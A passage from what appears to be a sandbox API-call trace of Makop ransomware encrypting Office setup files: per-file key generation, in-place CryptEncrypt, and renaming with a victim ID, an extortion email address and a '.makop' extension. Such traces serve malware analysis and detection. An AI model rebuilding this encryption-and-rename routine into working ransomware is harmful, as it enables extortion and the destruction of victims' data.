lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.380] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.380] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x648, lpOverlapped=0x0) returned 1 [0093.381] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x650) returned 1 [0093.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.381] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x650, lpOverlapped=0x0) returned 1 [0093.381] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.381] SetEndOfFile (hFile=0x114) returned 1 [0093.387] GetProcessHeap () returned 0x48a0000 [0093.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.387] GetProcessHeap () returned 0x48a0000 [0093.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.387] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 152 [0093.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.392] CloseHandle (hObject=0x114) returned 1 [0093.392] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0093.392] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.392] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0093.392] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0093.392] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us") returned 91 [0093.392] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*") returned 95 [0093.393] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.417] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.417] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.418] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0093.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.419] GetProcessHeap () returned 0x48a0000 [0093.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.419] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.419] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xf, lpOverlapped=0x0) returned 1 [0093.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.423] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.423] GetProcessHeap () returned 0x48a0000 [0093.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.423] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.423] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.423] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.423] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.424] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.424] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.424] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.424] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.424] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.425] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x1861, lpOverlapped=0x0) returned 1 [0093.426] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x1870, dwBufLen=0x1870 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x1870) returned 1 [0093.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.426] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x1870, lpOverlapped=0x0) returned 1 [0093.426] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.427] SetEndOfFile (hFile=0x114) returned 1 [0093.433] GetProcessHeap () returned 0x48a0000 [0093.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.433] GetProcessHeap () returned 0x48a0000 [0093.433] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.433] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 148 [0093.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.434] CloseHandle (hObject=0x114) returned 1 [0093.434] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0093.434] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0093.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.437] GetProcessHeap () returned 0x48a0000 [0093.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.437] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x1, lpOverlapped=0x0) returned 1 [0093.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.442] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.442] GetProcessHeap () returned 0x48a0000 [0093.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.442] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.442] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.443] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.444] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.444] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.444] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x251f, lpOverlapped=0x0) returned 1 [0093.446] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2520, dwBufLen=0x2520 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2520) returned 1 [0093.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.446] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2520, lpOverlapped=0x0) returned 1 [0093.446] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.446] SetEndOfFile (hFile=0x114) returned 1 [0093.453] GetProcessHeap () returned 0x48a0000 [0093.453] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.453] GetProcessHeap () returned 0x48a0000 [0093.453] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.453] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 151 [0093.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.459] CloseHandle (hObject=0x114) returned 1 [0093.460] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0093.460] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.460] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0093.460] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR") returned 86 [0093.460] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*") returned 90 [0093.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.461] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.461] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.461] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0093.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.463] GetProcessHeap () returned 0x48a0000 [0093.463] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.463] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.463] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.463] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xf, lpOverlapped=0x0) returned 1 [0093.467] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.468] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.468] GetProcessHeap () returned 0x48a0000 [0093.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.468] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.468] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.468] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.468] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.468] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.469] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 